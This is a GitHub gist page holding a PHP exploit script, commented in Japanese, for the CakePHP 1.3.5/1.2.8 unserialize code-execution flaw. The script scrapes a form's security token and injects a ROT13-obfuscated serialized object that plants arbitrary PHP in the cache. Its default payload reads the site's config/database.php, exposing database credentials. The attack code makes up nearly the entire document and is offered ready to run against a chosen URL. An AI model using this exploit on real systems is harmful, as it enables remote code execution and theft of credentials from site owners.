Skip to content

Instantly share code, notes, and snippets.

@co3k
Created November 16, 2010 18:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save co3k/702208 to your computer and use it in GitHub Desktop.
Save co3k/702208 to your computer and use it in GitHub Desktop.
<?php
/*
CakePHP 1.3.5 と 1.2.8 以下に存在する PHP コード実行の脆弱性を使って攻撃する PHP スクリプト
# 解説は http://co3k.org/diary/12
Report: http://malloc.im/CakePHP-unserialize.txt
Original POC: http://malloc.im/burnedcake.pwy
連絡先: Kousuke Ebihara <ebihara@php.net>
もしくは Twitter で @co3k 宛にリプライなり DM なり
*/
// 攻撃対象の URL
$url = 'http://example.com/';
// このスクリプトは攻撃のためのフィールドの値しか POST しないので、
// フォームを POST するために必要な他のフィールドがあれば、
// 以下の連想配列の要素として記述してください
$post = array(
// 'body' => 'body_value',
);
// 実行したい任意のコード
$code = '<?php readfile(\'../config/database.php\'); exit(); ?>';
/*
$code = '<?php phpinfo(); exit(); ?>';
*/
// ---
function request($url, $post = array())
{
$ch = curl_init($url);
if ($post)
{
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie');
return curl_exec($ch);
}
$response = request($url);
$matchings = array(
'key' => 'data\[_Token\]\[key\]" value="(.*?)"',
'path' => 'method="post" action="(.*?)',
'fields' => 'data\[_Token\]\[fields\]" value="([0-9a-f]{32}).*?"',
);
foreach ($matchings as $var => $matching)
{
if (!preg_match('/'.$matching.'/', $response, $matches))
{
var_dump('Failed to match');
exit;
}
$$var = $matches[1];
}
$fields .= str_rot13('%3NO:3:"App":4:{s:7:"__cache";s:3:"bam";s:5:"__map";a:2:{s:4:"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}s:3:"Foo";s:'
. strlen($code).':"'.$code.'";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}');
$postdata = array_merge($post, array(
'data[_Token][key]' => $key,
'data[_Token][fields]' => $fields,
));
request($url.$path, $postdata);
request($url.$path, $postdata);
var_dump(request($url));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment